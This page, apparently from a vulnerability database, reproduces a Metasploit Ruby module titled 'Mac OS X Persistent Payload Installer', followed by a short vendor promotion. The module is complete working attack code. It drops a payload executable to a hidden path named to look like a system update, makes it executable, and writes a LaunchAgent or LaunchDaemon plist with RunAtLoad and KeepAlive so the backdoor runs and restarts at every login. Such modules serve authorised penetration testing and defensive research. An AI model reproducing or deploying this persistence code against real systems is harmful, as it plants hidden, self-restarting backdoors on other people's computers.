Lucene search
K

📄 Mac OS X Persistent Payload Installer

🗓️ 06 Oct 2025 00:00:00Reported by joev, Marcin Icewall NogaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 117 Views

Creates Mac OS X persistence via LaunchAgent or LaunchDaemon plist entries for login or pre-login.

Code
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'shellwords'
    
    class MetasploitModule < Msf::Exploit::Local
      Rank = ExcellentRanking
    
      include Msf::Post::Common
      include Msf::Post::File
      include Msf::Exploit::EXE
      include Msf::Exploit::Local::Persistence
      prepend Msf::Exploit::Remote::AutoCheck
      include Msf::Exploit::Deprecated
      moved_from 'exploits/osx/local/persistence'
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Mac OS X Persistent Payload Installer',
            'Description' => %q{
              This module provides a persistent boot payload by creating a launch item, which can be
              a LaunchAgent or a LaunchDaemon. LaunchAgents run with user level permissions and are triggered
              upon login by a plist entry in ~/Library/LaunchAgents. LaunchDaemons run with
              elevated privilleges, and are launched before user login by a plist entry in the ~/Library/LaunchDaemons directory.
              In either case the plist entry specifies an executable that will be run before or at login.
    
              Verified on OSX 11.7.10 (Big Sur)
            },
            'License' => MSF_LICENSE,
            'Author' => [ "Marcin 'Icewall' Noga <marcin[at]icewall.pl>", 'joev' ],
            'Targets' => [
              [ 'Mac OS X x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ],
              [ 'Mac OS X x86 (Native Payload for 10.14 and earlier)', { 'Arch' => ARCH_X86, 'Platform' => [ 'osx' ] } ],
              [ 'Mac OS X Apple Sillicon', { 'Arch' => ARCH_AARCH64, 'Platform' => ['osx'] }],
              [ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],
              [ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ],
            ],
            'DefaultTarget' => 0,
            'SessionTypes' => [ 'shell', 'meterpreter' ],
            'DisclosureDate' => '2012-04-01',
            'Platform' => [ 'osx', 'python', 'unix' ],
            'References' => [
              ['URL', 'https://taomm.org/vol1/pdfs/CH%202%20Persistence.pdf'],
              ['URL', 'https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html'],
              ['ATT&CK', Mitre::Attack::Technique::T1647_PLIST_FILE_MODIFICATION]
            ],
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
              'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, SCREEN_EFFECTS] # Pop-up on 13.7.4
            }
          )
        )
    
        register_options([
          OptString.new('BACKDOOR_PATH',
                        [
                          true, 'Path to hide the backdoor on the target.',
                          '~/Library/.<random>/com.system.update'
                        ]),
          OptBool.new('KEEPALIVE',
                      [true, 'Continually restart the payload exe if it crashes/exits.', true]),
          OptBool.new('RUN_NOW',
                      [false, 'Run the installed payload immediately.', false]),
          OptEnum.new('LAUNCH_ITEM', [true, 'Type of launch item, see description for more info. Default is LaunchAgent', 'LaunchAgent', %w[LaunchAgent LaunchDaemon]])
        ])
        deregister_options('WritableDir')
      end
    
      def check
        folder = File.dirname(backdoor_path).shellescape
        folder = File.dirname(folder)
        return CheckCode::Safe("#{folder} not found") unless exists?(folder)
        return CheckCode::Safe("#{folder} not writable") unless writable?(folder)
    
        CheckCode::Appears("#{folder} is writable")
      end
    
      def install_persistence
        check_for_duplicate_entry
    
        if target['Arch'] == ARCH_PYTHON
          payload_bin = "#!/usr/bin/env python\n" + payload.encoded
        elsif target['Arch'] == ARCH_CMD
          payload_bin = "#!/usr/bin/env bash\n" + payload.raw
        else
          payload_bin = generate_payload_exe
        end
    
        # Store backdoor on target machine
        write_backdoor(payload_bin)
        # Add plist file to LaunchAgents dir
        add_launchctl_item
        @clean_up_rc << "rm #{plist_path}\n"
        @clean_up_rc << "execute -f /bin/launchctl -a \"stop  #{File.basename(backdoor_path)}\"\n"
        @clean_up_rc << "execute -f /bin/launchctl -a \"remove  #{File.basename(backdoor_path)}\"\n"\
      end
    
      private
    
      # drops a LaunchAgent plist into the user's Library, which specifies to run backdoor_path
      def add_launchctl_item
        label = File.basename(backdoor_path)
        cmd_exec("mkdir -p #{File.dirname(plist_path).shellescape}")
        # NOTE: the OnDemand key is the OSX < 10.4 equivalent of KeepAlive
        item = <<-EOF
        <?xml version="1.0" encoding="UTF-8"?>
        <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
        <plist version="1.0">
          <dict>
            <key>Label</key>
            <string>#{label}</string>
            <key>Program</key>
            <string>#{backdoor_path}</string>
            <key>ProgramArguments</key>
            <array>
              <string>#{backdoor_path}</string>
            </array>
            <key>RunAtLoad</key>
            <true/>
            <key>OnDemand</key>
            <#{keepalive?}/>
            <key>KeepAlive</key>
            <#{keepalive?}/>
          </dict>
        </plist>
        EOF
    
        if write_file(plist_path, item)
          print_good("LaunchAgent added: #{plist_path}")
          @clean_up_rc << "rm #{plist_path}\n"
        else
          fail_with(Failure::UnexpectedReply, "Error writing LaunchAgent item to #{plist_path}")
        end
    
        if run_now?
          cmd_exec("launchctl load -w #{plist_path.shellescape}")
        else
          print_warning("To manually launch payload: launchctl load -w #{plist_path.shellescape}")
        end
    
        print_good('LaunchAgent installed successfully.')
      end
    
      # path to upload the backdoor. any <user> or <random> substrings will be replaced.
      # @return [String] path to drop the backdoor payload.
      def backdoor_path
        @backdoor_path ||= datastore['BACKDOOR_PATH']
                           .gsub('<random>') { Rex::Text.rand_text_alpha(8) }
                           .gsub(%r{^~/}, "/Users/#{user}/")
      end
    
      # raises an error if a Launch Agent already exists at desired same plist_path
      def check_for_duplicate_entry
        if file?(plist_path)
          fail_with 'FileError', "Duplicate LaunchAgent plist already exists at #{plist_path}"
        end
      end
    
      # @return [Boolean] user wants the persistence to be restarted constantly if it exits
      def keepalive?
        datastore['KEEPALIVE']
      end
    
      # path to the LaunchAgent service configuration plist
      # @return [String] path to the LaunchAgent service
      def plist_path
        @plist_path ||= "/Users/#{user}/Library/#{datastore['LAUNCH_ITEM']}s/#{File.basename(backdoor_path)}.plist"
      end
    
      # @return [Boolean] user wants to launch the LaunchAgent immediately
      def run_now?
        datastore['RUN_NOW']
      end
    
      # @return [String] username of the session
      def user
        @user ||= cmd_exec('whoami').strip
      end
    
      # drops the file to disk, then makes it executable
      # @param [String] exe the executable to drop
      def write_backdoor(exe)
        print_status('Dropping backdoor executable...')
        cmd_exec("mkdir -p #{File.dirname(backdoor_path).shellescape}")
    
        if write_file(backdoor_path, exe)
          print_good("Backdoor stored to #{backdoor_path}")
          cmd_exec("chmod +x #{backdoor_path.shellescape}")
          @clean_up_rc << "rm #{backdoor_path}\n"
        else
          fail_with(Failure::UnexpectedReply, "Error dropping backdoor to #{backdoor_path}")
        end
      end
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation